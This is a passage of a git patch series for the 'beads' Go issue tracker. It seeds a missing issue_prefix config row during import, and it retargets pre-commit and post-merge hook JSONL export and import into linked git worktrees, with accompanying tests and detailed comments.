to prevent, + // and the resolver's table test then covers this route too. + // + // Accepted boundary: a --global import against an externally-provisioned + // GLOBAL database that is itself missing config.issue_prefix stays + // unseedable and still fails with "issue_prefix config is missing" — that + // row is `bd init --global`'s to write, and config.yaml cannot speak for + // the shared store. + syncPrefix := importSyncPrefix() + // THE BATCH: rows, memories and the issue_prefix reconciliation in one // transaction, one history entry. The prefix sync runs even when the // batch is otherwise empty, exactly as the classic path's post-commit - // sync does (be-llaf; config.yaml is authoritative, not a rename). + // sync does (be-llaf; config.yaml is authoritative, not a rename) — and + // so does the seed, which reports itself through the same PrefixSynced + // result so an otherwise-empty batch still commits it. batch, err := importer.ImportBatch(ctx, publicops.ImportBatchRequest{ Actor: getActorWithGit(), Issues: issues, Memories: memoryEntries, AllowStale: importAllowStale, SkipPrefixValidation: true, - SyncIssuePrefix: config.GetString("issue-prefix"), + SyncIssuePrefix: syncPrefix, Source: filepath.Base(source), }) if err != nil { diff --git a/cmd/bd/import_sync_prefix_test.go b/cmd/bd/import_sync_prefix_test.go new file mode 100644 index 000000000..1c71091f1 --- /dev/null +++ b/cmd/bd/import_sync_prefix_test.go @@ -0,0 +1,89 @@ +package main + +import ( + "testing" + + "github.com/steveyegge/beads/internal/config" +) + +// TestImportSyncPrefix pins the ONE value runImportRecordsClassic hands to both +// of its issue_prefix writers — the pre-batch seed and the post-batch sync. +// +// It is deliberately a plain unit test: no store, no Dolt binary, no container. +// The classic seed's end-to-end cases (import_missing_config_prefix_test.go, +// import_embedded_test.go) are gated behind a Dolt server or +// BEADS_TEST_EMBEDDED_DOLT and skip under the BEADS_TEST_SKIP=dolt the required +// integration lanes set, so the resolver's rules are asserted here instead, +// where every lane runs them. +func TestImportSyncPrefix(t *testing.T) { + tests := []struct { + name string + yaml string + global bool + want string + }{ + {name: "absent is reconcile nothing", yaml: "", want: ""}, + {name: "plain value passes through", yaml: "bd", want: "bd"}, + { + // Both writers must see the SAME trimmed value. When the seed + // stored the trimmed one and the sync compared the raw one, the + // sync found them unequal and overwrote the seed's value with the + // padded one. + name: "padded value is trimmed for both writers", + yaml: " bd\t", + want: "bd", + }, + { + // The guard covers the sync too, not just the seed: an invalid + // prefix reconciles nothing at all. + name: "invalid value reconciles nothing", + yaml: "BAD", + want: "", + }, + { + // Trailing hyphens are NOT an invalid prefix: validatePrefix + // TrimRight's them before matching, which is the same tolerance + // `bd rename-prefix` has. The resolver defers to that guard rather + // than inventing a stricter rule of its own, so the value reaches + // both writers unchanged. + name: "trailing hyphens are tolerated by the shared guard", + yaml: "bd--", + want: "bd--", + }, + { + // --global: config.yaml is per-project and must not speak for the + // shared global store, whatever it says. + name: "global mode ignores config.yaml entirely", + yaml: "localproj", + global: true, + want: "", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + // Isolate CWD and BEADS_DIR before config.Initialize(): a leaked + // BEADS_DIR or a cwd inside the repo tree lets Initialize() load a + // real ambient config.yaml whose issue-prefix would win over the + // value under test. + t.Chdir(t.TempDir()) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_TEST_IGNORE_REPO_CONFIG", "1") + + config.ResetForTesting() + t.Cleanup(func() { config.ResetForTesting() }) + if err := config.Initialize(); err != nil { + t.Fatalf("config.Initialize: %v", err) + } + config.Set("issue-prefix", tt.yaml) + + origGlobal := globalFlag + globalFlag = tt.global + t.Cleanup(func() { globalFlag = origGlobal }) + + if got := importSyncPrefix(); got != tt.want { + t.Errorf("importSyncPrefix() with issue-prefix %q (global=%v) = %q, want %q", tt.yaml, tt.global, got, tt.want) + } + }) + } +} diff --git a/internal/storage/uow/importer.go b/internal/storage/uow/importer.go index 059b2b7a3..3d195c44c 100644 --- a/internal/storage/uow/importer.go +++ b/internal/storage/uow/importer.go @@ -53,6 +53,35 @@ func (o *importer) ImportBatch(ctx context.Context, request publicops.ImportBatc return RunTxResult(ctx, o.provider, func(ctx context.Context, uw UnitOfWork) (publicops.ImportBatchResult, string, error) { var result publicops.ImportBatchResult + // Seed issue_prefix before CreateIssuesInTxWithResult needs it (via + // NewBatchContext -> ReadConfigPrefix), for the same reason the sync + // below exists: an externally-provisioned database's config table can + // be missing the row config.yaml already carries. Seeding only when + // the table is empty — never overwriting an existing prefix — keeps + // this a pure precondition for the sync 40 lines down, not a second, + // conflicting writer. + // + // PrefixSynced is set HERE and not left to the sync: once the seed has + // written the value, the sync's `stored != request.SyncIssuePrefix` + // test is false and it reports nothing, so a batch that lands no rows + // and no memories would build an empty commit message and RunTxResult + // would roll the seeded row back (tx.go, importBatchCommitMessage). + // The seed IS the prefix write in that case and has to say so. + // + // Unlike the sync, a failure here does NOT degrade to "not synced": + // this write is the precondition for the very next statement, so + // swallowing it would surface as the `issue_prefix config is missing` + // error this seed exists to prevent, and would hide a serialization + // failure from RunTxResult's retry classifier. + if request.SyncIssuePrefix != "" { + if stored, _ := uw.ConfigUseCase().GetConfig(ctx, "issue_prefix"); stored == "" { + if err := uw.ConfigUseCase().SetConfig(ctx, "issue_prefix", request.SyncIssuePrefix); err != nil { + return publicops.ImportBatchResult{}, "", fmt.Errorf("seed issue_prefix: %w", err) + } + result.PrefixSynced = true + } + } + if len(request.Issues) > 0 { runner, err := importStatementRunner(uw) if err != nil { diff --git a/internal/storage/uow/importer_uow_test.go b/internal/storage/uow/importer_uow_test.go index a9c612ed7..57fee1bb0 100644 --- a/internal/storage/uow/importer_uow_test.go +++ b/internal/storage/uow/importer_uow_test.go @@ -40,6 +40,14 @@ func TestImporterUOW(t *testing.T) { } return n } + countHistoryMatching := func(t *testing.T, pattern string) int { + t.Helper() + n, err := kit.CountHistoryMatching(ctx, pattern) + if err != nil { + t.Fatalf("CountHistoryMatching %q: %v", pattern, err) + } + return n + } queryInt := func(t *testing.T, query string, args ...any) int { t.Helper() var n int @@ -261,6 +269,120 @@ func TestImporterUOW(t *testing.T) { } }) + t.Run("SeedsPrefixBeforeCreateNeedsIt", func(t *testing.T) { + // Simulate an externally-provisioned database: config.yaml (modeled + // here by SyncIssuePrefix, which is what the CLI populates it from) + // carries a prefix, but the database's own config table does not — + // exactly what NewBatchContext's ReadConfigPrefix treats as "missing" + // (sql.ErrNoRows OR an empty value), the state a provisioner that + // creates the Dolt database directly (bypassing `bd init`, which is + // what normally writes this row) leaves it in. + if err := kit.SetConfig(ctx, "issue_prefix", ""); err != nil { + t.Fatalf("clear issue_prefix: %v", err) + } + + when := time.Date(2026, 8, 2, 12, 0, 0, 0, time.UTC) + result, err := imp.ImportBatch(ctx, publicops.ImportBatchRequest{ + Actor: "importer-test", + Issues: []*types.Issue{{ + ID: "imp-seed", Title: "Seeded via prefix precondition", Status: types.StatusOpen, + IssueType: types.TypeTask, Priority: 2, CreatedAt: when, UpdatedAt: when, + }}, + SkipPrefixValidation: true, + SyncIssuePrefix: "imp", + Source: "seed.jsonl", + }) + if err != nil { + t.Fatalf("ImportBatch against a database with no config-table prefix: %v", err) + } + if result.Created != 1 { + t.Errorf("Created = %d, want 1", result.Created) + } + if got := queryString(t, "SELECT value FROM config WHERE `key` = 'issue_prefix'"); got != "imp" { + t.Errorf("issue_prefix after seed = %q, want %q", got, "imp") + } + // Restore for any later subtest, as the neighbours do. The seed under + // test happens to leave "imp" behind, but a fixture restored by the + // code under test would silently change what a subtest inserted after + // this one runs against. + if err := kit.SetConfig(ctx, "issue_prefix", "imp"); err != nil { + t.Fatalf("restore issue_prefix: %v", err) + } + }) + + t.Run("SeedsPrefixEvenWhenEveryRowIsRejected", func(t *testing.T) { + // The seed must report itself as the prefix write, or a batch that + // lands no rows commits NOTHING and discards it: + // importBatchCommitMessage returns "" when Created == 0, + // MemoriesImported == 0 and !PrefixSynced, RunTxResultWithin skips + // uw.Commit on an empty message (tx.go), and the deferred closeAttempt + // ROLLS BACK the seeded row. Reachable against an + // externally-provisioned database whenever every input row is dropped + // — here by the in-transaction stale guard, in the CLI also by the + // title dedup. SeedsPrefixBeforeCreateNeedsIt cannot catch this + // (Created == 1 carries the commit), and + // PrefixSyncAloneCommitsUnderTheSyncMessage runs with a NON-empty + // stored prefix, so the sync writes there and the seed never fires. + landed := time.Date(2026, 8, 3, 12, 0, 0, 0, time.UTC) + if _, err := imp.ImportBatch(ctx, publicops.ImportBatchRequest{ + Actor: "importer-test", + Issues: []*types.Issue{{ + ID: "imp-rejected", Title: "Row the stale guard will keep", Status: types.StatusOpen, + IssueType: types.TypeTask, Priority: 2, CreatedAt: landed, UpdatedAt: landed, + }}, + Source: "reject-setup.jsonl", + }); err != nil { + t.Fatalf("seed the row the stale guard will keep: %v", err) + } + if err := kit.SetConfig(ctx, "issue_prefix", ""); err != nil { + t.Fatalf("clear issue_prefix: %v", err) + } + + // Both counts are snapshotted: TestImporterUOW shares one database in + // subtest order, and PrefixSyncAloneCommitsUnderTheSyncMessage has + // already committed under the sync message by the time this runs — so + // only a DELTA can tell that the seed's own commit carries it. + const syncMessageLike = "%sync issue_prefix from config.yaml%" + before := countHistory(t) + syncNamedBefore := countHistoryMatching(t, syncMessageLike) + stale := landed.Add(-24 * time.Hour) + result, err := imp.ImportBatch(ctx, publicops.ImportBatchRequest{ + Actor: "importer-test", + Issues: []*types.Issue{{ + ID: "imp-rejected", Title: "Stale snapshot", Status: types.StatusOpen, + IssueType: types.TypeTask, Priority: 3, CreatedAt: stale, UpdatedAt: stale, + }}, + SkipPrefixValidation: true, + SyncIssuePrefix: "impseed", + Source: "reject.jsonl", + }) + if err != nil { + t.Fatalf("all-rejected ImportBatch against a database with no config-table prefix: %v", err) + } + // Assert the batch really landed nothing for the reason this case is + // about, so the prefix assertion below cannot be carried by a row. + if result.Created != 0 || len(result.StaleRejectedIDs) != 1 { + t.Fatalf("result = %+v, want Created 0 with the one row stale-rejected", result) + } + if !result.PrefixSynced { + t.Errorf("PrefixSynced = false, want true — the seed wrote the prefix, so the batch must report it") + } + if got := queryString(t, "SELECT value FROM config WHERE `key` = 'issue_prefix'"); got != "impseed" { + t.Errorf("issue_prefix after an all-rejected batch = %q, want %q (the seed was rolled back)", got, "impseed") + } + if after := countHistory(t); after != before+1 { + t.Errorf("history entries moved %d -> %d, want exactly one commit carrying the seeded prefix", before, after) + } + if syncNamedAfter := countHistoryMatching(t, syncMessageLike); syncNamedAfter != syncNamedBefore+1 { + t.Errorf("history entries naming the issue_prefix sync moved %d -> %d, want exactly one more — the seed's own commit must carry that message", syncNamedBefore, syncNamedAfter) + } + + // Restore for any later subtest. + if err := kit.SetConfig(ctx, "issue_prefix", "imp"); err != nil { + t.Fatalf("restore issue_prefix: %v", err) + } + }) + t.Run("EmptyActorIsRefused", func(t *testing.T) { if _, err := imp.ImportBatch(ctx, publicops.ImportBatchRequest{Source: "noactor.jsonl"}); err == nil { t.Fatal("ImportBatch with empty actor should be refused") diff --git a/issueops/importer.go b/issueops/importer.go index 2999465e1..5a084b3a5 100644 --- a/issueops/importer.go +++ b/issueops/importer.go @@ -67,8 +67,9 @@ type ImportBatchResult struct { StaleRejectedIDs []string // SkippedDependencies lists the edges dropped by the batch, deduplicated. SkippedDependencies []SkippedDependency - // PrefixSynced reports that the stored issue_prefix was rewritten to - // SyncIssuePrefix. + // PrefixSynced reports that the batch wrote the stored issue_prefix to + // SyncIssuePrefix — either seeding it, when the config table carried no + // prefix at all, or rewriting a stored value that disagreed. PrefixSynced bool } From 343157e1dc91ac0cc3ee8a86dc3df01ef577e5d0 Mon Sep 17 00:00:00 2001 From: Rongjun GENG Date: Sat, 26 Sep 2026 15:43:45 -0700 Subject: [PATCH 120/624] fix(hooks): export from linked worktree (#6717) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(hooks): export from linked worktree * fix(hooks): scope the worktree export retarget and share it with the importer Maintainer review fixups for #6717 (fixes #6680). Blocker — the pre-commit export retarget was unconditional. preCommitExportPath rewrote the destination whenever hookWorkTreeRoot() was non-empty, but that is true for *every* hook invocation (it returns filepath.Dir(GIT_DIR) for a plain repo too, pinned by export_auto_test.go's "plain repo" case). Any topology whose discovered beads dir is not /.beads — a .beads/redirect to a shared out-of-repo store, a BEADS_DIR override, a beads dir above the repo root — silently stopped refreshing its real JSONL and instead got a brand-new in-repo dump that, being inside the worktree, passed gitAddFile's GH#3311 guard and was staged into the user's commit. worktreeJSONLDir now retargets only when the hook belongs to a *linked* worktree and the discovered beads dir lives inside the primary checkout — exactly the cross-worktree write #6680 reported. Everything else keeps the discovered directory and pre-#6680 behavior. The destination mirrors the beads dir's path *relative to the primary checkout*: a store renamed at the top level or nested under one (a relative .beads/redirect to tools/store) lands at the path the committing worktree actually tracks, rather than at a collapsed leaf no commit has ever contained. A lexical result that would escape the worktree, and a store that *is* the checkout root, both decline. Major — only the writer had moved. syncImportJSONLPath still imported /.beads/issues.jsonl while the hook wrote /..., so a git pull in a linked worktree could import a JSONL the hook never updates. Both hook lanes now go through one resolver, hookJSONLDir. The non-hook auto-export lane (maybeAutoExport and its export-state.json key) is deliberately left alone and documented: it has no GIT_DIR to resolve a worktree from, and changing it means resolving the worktree from cwd for every bd command — a product decision, not a hook fix. Major — moving that reader made the importer's own subprocess harmful. `bd import` ran with BD_GIT_HOOK cleared, so its PersistentPostRun auto-export re-resolved the destination from beads.FindBeadsDir() and wrote /.beads/issues.jsonl. That was content-neutral while both halves of the sync path read the primary's copy; with the source moved to the worktree, a post-merge in a linked worktree writes one branch's issue state over another checkout's tracked file — #6680's second symptom, out of the fix for its first. No import path consults BD_GIT_HOOK (its only consumers are auto-export, auto-backup, the first-run metrics notice and terminal color), so the comment justifying the clear was false in exactly the way this commit already proved the export-side comment was. Both subprocesses now share hookSubprocessEnv. Also: - create the destination directory before exporting; atomicfile does not create parents, so a retargeted or nested export.path warned on every commit and wrote nothing. - run isExportFileStagedForDeletion from the nearest existing ancestor so a missing directory can no longer make exec fail and silently drop the GH#3838 `git rm` guard. - hookSubprocessEnv (was preCommitExportEnv) forces BD_GIT_HOOK=1 rather than being an identity copy that assumes the caller set it, and now serves both hook subprocesses. - record that keeping BD_GIT_HOOK also suppresses the subprocess auto-backup, and correct the comments that claimed the suppressed export could stage the primary's JSONL (gitAddFile's guard stops it) and that the redirect case was unreachable. - scope the hookLinkedWorktreePrimaryRoot comment to /.git layouts. It is deliberately narrower than internal/beads' probe, which also serves bare-repo-backed worktrees: mirroring a tracked path needs a primary checkout and a bare repository has none, so #6680 stays unfixed for that layout and the comment now says so instead of claiming parity. - log the resolver's inputs and verdict, so a "keep beadsDir" outcome is observable under BD_DEBUG rather than indistinguishable from the hook not running at all. - document the sync lane's JSONL ownership decision, which this commit makes but did not state: the source file follows the committing worktree while the store it feeds stays the primary checkout's shared one, so a linked worktree on a feature branch can introduce that branch's rows there. Forward-only — the import never deletes and rewrites a row only when updated_at is strictly newer, a guard auto-import paths cannot switch off. - name, in worktreeJSONLDir, which lane actually reaches the mirrored non-.beads topologies. preCommitHasStagedBeadsFiles still gates the export lane on a hardcoded ".beads" pathspec (byte-identical to base), so a renamed or nested store normally stages nothing it matches and the mirror is reached by the sync lane; the comment is a correctness bound, not "nested stores now auto-export on every commit". - name the one case the gating does not catch: a /.beads that is itself a symlink out of the repository. pathInsideDir resolves symlinks on the parent only, so it still compares as inside the primary and gets retargeted. The supported .beads/redirect mechanism is unaffected; closing the hand-rolled `ln -s` case means resolving beadsDir before both the gating and the lexical Rel, which also moves the mixed-symlink-form case they currently decline. - keep this file's fixture helper out of the //go:build cgo namespace. writeFile lives in explicit_db_nodb_test.go, which the pure-Go (CGO_ENABLED=0) and native-Windows lanes exclude, so referencing it from this unconstrained file failed to compile the whole cmd/bd test binary there. Use a local writeFileForWorktreeTest, matching the suffixed naming the rest of this file already uses for the same collision reason. Tests: a gating matrix over the redirect / BEADS_DIR / already-inside / renamed / nested / checkout-root topologies; a real `git worktree add` fixture driving hookJSONLDir; and a wiring test that stands a stub `bd` on PATH and drives both call sites — asserting the pre-commit export writes and stages the worktree's JSONL while the primary's copy stays byte-identical, and that the post-merge import reads the worktree's copy with BD_GIT_HOOK=1. Reverting either call site to the discovered beads dir — the whole user-visible fix, which the earlier helper-only tests let pass — fails there. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Julian Knutsen Co-authored-by: Claude Opus 5 --- cmd/bd/hooks.go | 294 +++++++++++++++++-- cmd/bd/hooks_export_worktree_test.go | 420 +++++++++++++++++++++++++++ 2 files changed, 693 insertions(+), 21 deletions(-) create mode 100644 cmd/bd/hooks_export_worktree_test.go diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index 7b71c5c38..4954e29fe 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -17,6 +17,7 @@ import ( "github.com/steveyegge/beads/internal/git" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/ui" + "github.com/steveyegge/beads/internal/utils" ) // managedHookNames lists the git hooks managed by beads. @@ -1530,7 +1531,7 @@ func exportJSONLForCommit() { if exportPath == "" { exportPath = "issues.jsonl" } - fullPath := filepath.Join(beadsDir, exportPath) + fullPath := filepath.Join(hookJSONLDir(beadsDir), exportPath) // If the export file is staged for deletion (user ran `git rm`), do not // re-export or re-stage it. GIT_INDEX_FILE is set during an actual commit, @@ -1551,21 +1552,42 @@ func exportJSONLForCommit() { debug.Logf("pre-commit: exporting JSONL to %s\n", fullPath) warnJSONLWithoutDoltRemote("pre-commit auto-export") + // The destination directory is not guaranteed to exist: hookJSONLDir can + // retarget into a worktree that has no .beads yet, and a nested + // export.path ("exports/issues.jsonl") adds another level. atomicfile + // does not create parents, so without this every commit would warn and + // write nothing. + // 0o750 matches the permissions `bd init` gives a .beads directory. + if err := os.MkdirAll(filepath.Dir(fullPath), 0o750); err != nil { + fmt.Fprintf(os.Stderr, "beads: pre-commit export warning: %v\n", err) + return + } + // Shell out to `bd export` which initializes its own store. - // Clear BD_GIT_HOOK from the subprocess env so that its - // PersistentPostRun auto-export path does not also fire. + // Keep BD_GIT_HOOK=1 in the subprocess environment. The explicit export + // command must run, but its PersistentPostRun auto-export must stay + // suppressed: maybeAutoExport resolves its own destination straight from + // beads.FindBeadsDir(), so letting it fire writes the shared primary + // checkout's JSONL behind this hook's back (GH#6680). It cannot *stage* + // that file — gitAddFile's cross-worktree guard rejects a target outside + // the hook's worktree — but the stray write is exactly the unexplained + // `M .beads/issues.jsonl` users see in the primary checkout. // - // NOTE: we intentionally preserve GIT_DIR et al. in the subprocess - // env. The subprocess's PostRun eventually routes through the same - // gitAddFile as the parent, which relies on the inherited GIT_DIR to - // identify the hook's worktree and apply the cross-worktree staging - // guard (GH#3311 part 2). Scrubbing here would disable that guard. + // Keeping the variable set also leaves the subprocess's PersistentPostRun + // auto-backup suppressed (backup_auto.go), matching the parent hook + // process: the parent bd is already in hook context and skips it, so a + // pre-commit no longer takes a second backup of the same state. + // + // NOTE: we intentionally preserve GIT_DIR et al. in the subprocess env so + // it retains the hook's selected Git context. The parent stages fullPath + // after the subprocess returns, using that same context for the + // cross-worktree guard (GH#3311 part 2). // Run from the project root, not .beads/. Embedded Dolt discovery starts // from cwd, so cwd=.beads/ can make the export subprocess look for a // nested .beads/.beads workspace and warn on every commit (GH#3454). cmd := exec.Command("bd", "export", "-o", fullPath) cmd.Dir = exportSubprocessDir(beadsDir) - cmd.Env = filterEnv(os.Environ(), "BD_GIT_HOOK") + cmd.Env = hookSubprocessEnv(os.Environ()) cmd.Stderr = os.Stderr if err := cmd.Run(); err != nil { fmt.Fprintf(os.Stderr, "beads: pre-commit export warning: %v\n", err) @@ -1575,8 +1597,11 @@ func exportJSONLForCommit() { // Stage the exported file if configured. Skip when no-git-ops is set // (GH#3314). gitAddFile scrubs the inherited git hook env vars so git // rediscovers the repo from cwd, and silently skips when fullPath is - // outside the hook's worktree (the .beads/redirect case where fullPath - // points into the main repo, not this worktree). See GH#3311. + // outside the hook's worktree. That guard still matters here: hookJSONLDir + // only retargets the cross-worktree case it can fix, so a .beads/redirect + // to a shared out-of-repo store, a BEADS_DIR override, or a beads dir + // above the repository root all still resolve outside this worktree and + // must not be dropped into the index. See GH#3311. if config.GetBool("export.git-add") && !config.GetBool("no-git-ops") { if err := gitAddFile(fullPath); err != nil { debug.Logf("pre-commit: git add failed: %v\n", err) @@ -1584,6 +1609,176 @@ func exportJSONLForCommit() { } } +// hookJSONLDir returns the directory the running git hook should read and +// write the git-tracked JSONL snapshot in. It is the single destination +// resolver shared by the pre-commit export writer and the +// post-merge/post-checkout sync importer, so those two can never disagree +// about which copy of the file the hook owns. +// +// Database discovery and JSONL ownership are separate concerns (GH#6680): a +// linked worktree has no store of its own, so beads.FindBeadsDir deliberately +// falls back to the primary checkout's .beads directory, but the JSONL is a +// tracked file whose contents belong to the worktree being committed. +// +// Known asymmetry, deliberately out of scope for a hook fix: the non-hook +// auto-export lane (maybeAutoExport and its export-state.json throttle key) +// still resolves straight from beads.FindBeadsDir. It cannot share this +// resolver — outside a hook there is no GIT_DIR, hookWorkTreeRoot is empty, +// and this function is the identity. Giving ordinary `bd` commands in a linked +// worktree ownership of their own JSONL means resolving the worktree from cwd +// on every command, which changes JSONL ownership globally; that is a product +// decision rather than a hook fix, and is tracked separately. +func hookJSONLDir(beadsDir string) string { + hookRoot := hookWorkTreeRoot() + primaryRoot := hookLinkedWorktreePrimaryRoot(hookRoot) + jsonlDir := worktreeJSONLDir(beadsDir, hookRoot, primaryRoot) + // Log both outcomes. When the verdict goes the "keep beadsDir" way for a + // topology the user expected this fix to cover, the only other observable + // is the absence of a change — which is indistinguishable from the hook + // not running at all. + debug.Logf("hook: JSONL dir %s (retargeted=%t beadsDir=%s hookRoot=%s primaryRoot=%s)\n", + jsonlDir, jsonlDir != beadsDir, beadsDir, hookRoot, primaryRoot) + return jsonlDir +} + +// worktreeJSONLDir is the pure gating decision behind hookJSONLDir. +// +// The rewrite is deliberately narrow, because hookWorkTreeRoot is non-empty +// for *every* hook invocation — it returns filepath.Dir(GIT_DIR) for a plain, +// non-worktree repository too — so it cannot carry this decision alone. +// beadsDir is retargeted into the committing worktree only when all of: +// +// - the hook supplied a worktree root (hookRoot != ""); +// - that worktree is a linked one (primaryRoot != ""); +// - beadsDir is not already inside the committing worktree; +// - beadsDir lives inside the primary checkout — that is, exporting to it +// is precisely the cross-worktree write GH#6680 reported. +// +// Everything else keeps the discovered directory and so keeps pre-GH#6680 +// behavior: a .beads/redirect to a shared out-of-repo store, a BEADS_DIR +// override, and a beads dir above the repository root are not another working +// tree. Retargeting those would both strand the real JSONL and drop a +// brand-new in-repo copy into the user's commit, and gitAddFile's GH#3311 +// guard already keeps them out of the index. +// +// The destination mirrors beadsDir's path *relative to the primary checkout* +// rather than a hardcoded ".beads" or a bare leaf name, because the relative +// path is the one the committing worktree actually tracks: a store reached +// through a .beads/redirect to an in-repo "tools/store" must land at +// /tools/store, not at /store, which is a path no commit +// has ever contained. +// +// Which lane reaches that mirroring: the pre-commit export runs only when +// preCommitHasStagedBeadsFiles sees a staged path under its hardcoded ".beads" +// pathspec, unchanged from pre-GH#6680. A store that lives outside .beads — +// "beads-store", "nested/beads-store", an in-repo redirect target — normally +// stages nothing that gate matches, so on the export lane the mirror is a +// correctness bound rather than a new capability; the sync lane +// (importJSONLForSync) has no staged gate and does reach it. The gate blocked +// exactly the same commits at base, so this is a limit on the fix's reach and +// not a regression. Read the mirror as "the hook never writes a path the +// committing worktree does not track", not as "nested stores now auto-export +// on every commit". +// +// One case the gating deliberately does not catch: a /.beads that is +// itself a symlink pointing out of the repository. pathInsideDir resolves +// symlinks on the path's *parent* only (export_auto.go), so such a beadsDir +// still compares as inside primaryRoot and is retargeted, leaving the real +// store's JSONL stale — the outcome the .beads/redirect case above exists to +// prevent. The supported redirect mechanism is unaffected, because +// FollowRedirect hands back the resolved out-of-repo target whose parent is +// outside primaryRoot; only a hand-rolled `ln -s` is affected. Closing it +// means resolving beadsDir itself before both the gating and the lexical Rel +// below, which also moves the mixed-symlink-form case those two lines +// currently decline — a behavior change, so the case is named here instead. +func worktreeJSONLDir(beadsDir, hookRoot, primaryRoot string) string { + if hookRoot == "" || primaryRoot == "" { + return beadsDir + } + if pathInsideDir(beadsDir, hookRoot) || !pathInsideDir(beadsDir, primaryRoot) { + return beadsDir + } + // pathInsideDir resolves symlinks (on the parent); filepath.Rel is lexical, + // so the two can still disagree and hand back a path that escapes + // hookRoot. IsLocal + // rejects exactly those ("..", an absolute result), and rel == "." means + // the store *is* the checkout root — too degenerate to mirror. Both + // decline, which keeps pre-GH#6680 behavior rather than inventing a target. + rel, err := filepath.Rel(primaryRoot, beadsDir) + if err != nil || rel == "." || !filepath.IsLocal(rel) { + return beadsDir + } + return filepath.Join(hookRoot, rel) +} + +// hookLinkedWorktreePrimaryRoot returns the primary checkout's worktree root +// when hookRoot is a *linked* git worktree, and "" otherwise: the main +// checkout, a repository git cannot describe, or a layout whose common git dir +// is not a conventional "/.git". +// +// That last requirement is narrower than internal/beads' probe +// (worktreeFallbackBeadsDirForRepo), which classifies linked-ness as +// --git-dir != --git-common-dir and serves a bare-repo-backed worktree by +// sharing /.beads. The difference is deliberate: this function must +// name a primary *checkout* to mirror a tracked path out of, and a bare +// repository has none — /.beads is not inside any working tree, so +// there is no relative path to carry into the committing worktree. Worktrees +// of a `git clone --bare` therefore keep writing the shared copy and GH#6680 +// stays unfixed for that layout; where their JSONL should live is a product +// decision rather than something this hook fix can infer. +func hookLinkedWorktreePrimaryRoot(hookRoot string) string { + if hookRoot == "" { + return "" + } + cmd := exec.Command("git", "-C", hookRoot, "rev-parse", "--git-common-dir") + // Scrub the inherited GIT_* vars so git describes hookRoot itself rather + // than whatever repository GIT_DIR happens to name. + cmd.Env = scrubGitHookEnv(os.Environ()) + out, err := cmd.Output() + if err != nil { + debug.Logf("hook: failed to resolve git common dir for %s: %v\n", hookRoot, err) + return "" + } + commonDir := strings.TrimSpace(string(out)) + if commonDir == "" { + return "" + } + if !filepath.IsAbs(commonDir) { + commonDir = filepath.Join(hookRoot, commonDir) + } + if filepath.Base(commonDir) != ".git" { + return "" + } + primaryRoot, err := filepath.Abs(filepath.Dir(commonDir)) + if err != nil { + return "" + } + if utils.PathsEqual(primaryRoot, hookRoot) { + // The hook's worktree is the primary one; nothing to retarget. + return "" + } + return primaryRoot +} + +// hookSubprocessEnv builds the environment for the `bd` subprocesses a hook +// shells out to — `bd export` on the pre-commit lane, `bd import` on the sync +// lane. It forces BD_GIT_HOOK=1 rather than assuming the caller already +// exported it: the variable's whole job here is to keep the subprocess's +// PersistentPostRun auto-export (and auto-backup) suppressed, and a hook +// entrypoint that had not set it would leave nothing to suppress with. Git +// routing vars (GIT_DIR et al.) are deliberately preserved — see +// exportJSONLForCommit. +// +// Nothing on either the export or the import path reads BD_GIT_HOOK to decide +// whether to do its work: its only consumers are maybeAutoExport +// (export_auto.go), maybeAutoBackup (backup_auto.go), the first-run metrics +// notice (metrics.go) and terminal color (internal/ui). Setting it therefore +// suppresses only the post-run writes the hook is doing itself, never the +// explicit command. +func hookSubprocessEnv(env []string) []string { + return append(filterEnv(env, "BD_GIT_HOOK"), "BD_GIT_HOOK=1") +} + // isExportFileStagedForDeletion reports whether the beads export file at // fullPath is staged for deletion (the user ran `git rm` on it). When true, // exportJSONLForCommit must skip re-exporting and re-staging it: running @@ -1598,12 +1793,41 @@ func exportJSONLForCommit() { // here would make git fall back to the on-disk index and miss the // deletion. Reimplements gastownhall/beads#3838 (ckumar1). func isExportFileStagedForDeletion(fullPath string) bool { - checkCmd := exec.Command("git", "diff", "--cached", "--diff-filter=D", "--name-only", "--", filepath.Base(fullPath)) - checkCmd.Dir = filepath.Dir(fullPath) + // The export file's directory is not guaranteed to exist — hookJSONLDir + // can retarget into a worktree with no .beads yet, and a nested + // export.path adds another level. exec fails outright on a missing Dir, + // which would silently drop this guard, so run from the nearest existing + // ancestor and address the file relative to it. When the directory does + // exist this is identical to running in it with the bare file name. + dir := nearestExistingDir(filepath.Dir(fullPath)) + if dir == "" { + return false + } + rel, err := filepath.Rel(dir, fullPath) + if err != nil { + return false + } + checkCmd := exec.Command("git", "diff", "--cached", "--diff-filter=D", "--name-only", "--", rel) + checkCmd.Dir = dir out, _ := checkCmd.Output() return len(out) > 0 } +// nearestExistingDir walks up from dir to the first existing directory, +// returning "" if it reaches the filesystem root without finding one. +func nearestExistingDir(dir string) string { + for { + if info, err := os.Stat(dir); err == nil && info.IsDir() { + return dir + } + parent := filepath.Dir(dir) + if parent == dir { + return "" + } + dir = parent + } +} + func preCommitHasStagedBeadsFiles(beadsDir string) bool { cmdDir := exportSubprocessDir(beadsDir) if hookRoot := hookWorkTreeRoot(); hookRoot != "" { @@ -1628,14 +1852,19 @@ func exportSubprocessDir(beadsDir string) string { // import path. Existing projects may have customized export.path before // import.path existed, so keep importing from export.path unless import.path is // explicitly configured. -func syncImportJSONLPath(beadsDir string) string { +// +// jsonlDir is the hook-resolved JSONL directory (hookJSONLDir), which is not +// always the discovered beads dir: in a linked worktree the sync hook must +// import the copy `git pull` just refreshed in this worktree — the same copy +// the pre-commit hook exports — not the primary checkout's (GH#6680). +func syncImportJSONLPath(jsonlDir string) string { if config.GetValueSource("import.path") == config.SourceDefault { exportPath := config.GetString("export.path") if exportPath != "" { - return filepath.Join(beadsDir, exportPath) + return filepath.Join(jsonlDir, exportPath) } } - return configuredImportJSONLPath(beadsDir) + return configuredImportJSONLPath(jsonlDir) } // importJSONLForSync imports JSONL into Dolt after a git @@ -1647,6 +1876,21 @@ func syncImportJSONLPath(beadsDir string) string { // import is upsert; running it on an unchanged JSONL is a no-op (bd // import returns "Error 1105: nothing to commit", which we tolerate). // +// JSONL ownership on this lane, the decision GH#6680's fix 